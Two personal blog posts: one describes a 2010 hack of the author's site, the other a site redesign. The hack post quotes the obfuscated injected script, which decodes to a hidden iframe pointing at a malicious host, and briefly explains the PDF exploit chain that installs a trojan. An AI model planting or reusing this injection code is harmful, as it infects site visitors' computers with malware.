January 11th, 2010
Quick update. My site was hacked a few days ago and it was just now fixed; which is why I haven’t posted anything in a few days. Big thanks to the guys over at Blue Sail Creative for getting everything resolved within 24 hours! I actually didn’t know my site was hacked until a few days ago. I was at CES and thought I was having problems due to the horrible internet connection there, I wrong. Here is what I was told about the hack which apparently added some crazy code on all of my .php pages:
“There’s something injecting a script at the bottom of your page
unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%72%65%65%6E%6C%70%6C%2E%63%6F%6D%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B”)
when we decoded that, its including an iframe to greenlpl.com/in.php
Apparently the code points to a php script that points to another website, which then tries to load an embedded version of a PDF document. This document contains one of the recent pdf javascript exploits, which result in remote code execution. Taking a look at the pdf, it seems to contain some obfuscated assembly code. Users who use an outdated version of adobe reader are vulnerable, but even the most recent reader has some unpatched vulnerabilities. Foxit reader should be safe, and people who use Firefox with addons such as NoScript or RequestPolicy should also be safe.
The attack is of a Chinese origin.
According to some anti-virus websites (i.e. here) this attack downloads a couple of binary files and then executes them, installing a trojan on the affected system. Guys, have your computers scanned!
If anyone is having any issues with their site or is looking for some great design/development work at an affordable price I recommend contacting Blue Sail Creative directly on twitter.
Thanks guys!
TAGS: blue sail creative, hacked site, web site hacked, website hack
November 20th, 2009
In case you haven’t noticed this entire website has been completely reworked and redesigned thanks to my friends at Blue Sail Creative; the same folks that did the new website for my company Chess Media Group. I’m very excited with the new look and feel for the site and would love to hear what you think about it. The new website design is supposed to accomplish a few things:
- Integrate a travel section into the site to share my stories and experiences and let you share yours
- Increase the amount of interaction and comments, I really want to here more from all of you
- Make everything look and work properly, many of you may have noticed some of the design flaws on the previous design and on the back end there were definitely functional flaws
- Include more information about me and what I’m up to, such as speaking events and travel photos
- Add a speaking page for folks that are interested in having me speak at their event
There are quite a few new additions to the site so allow me to give you a quick tour:
- I added a small about section into the sidebar so people can get a quick idea of who I am and what I do
- Added upcoming events into the sidebar
- Included the book I co-wrote with Josh Peters into the sidebar
- Added a newsletter which is something new for me, I’m hoping to include both travel and social business content
- There is a new speaking page in the main navigation section
- There is also a new travel section which has slightly different features in the sidebar such as flickr photos, a list of countries I’ve visited, and upcoming travel plans
I’ve gone through many design and color change options with Blue Sail Creative and I can honestly say that I feel this design is absolutely fantastic; it does a great job of integrating both social business and travel. If you are looking to have a new site designed or developed be sure to check out Blue Sail, tell them “Jacob” sent you. So there you have it, welcome to the new JMorganMarketing.com website!
I’d love to hear your thoughts and ideas on what you think about the new site. For those of you who don’t remember what the old site looked like, here you go:
TAGS: blue sail creative, jacob morgan, jmorganmarketing, new website
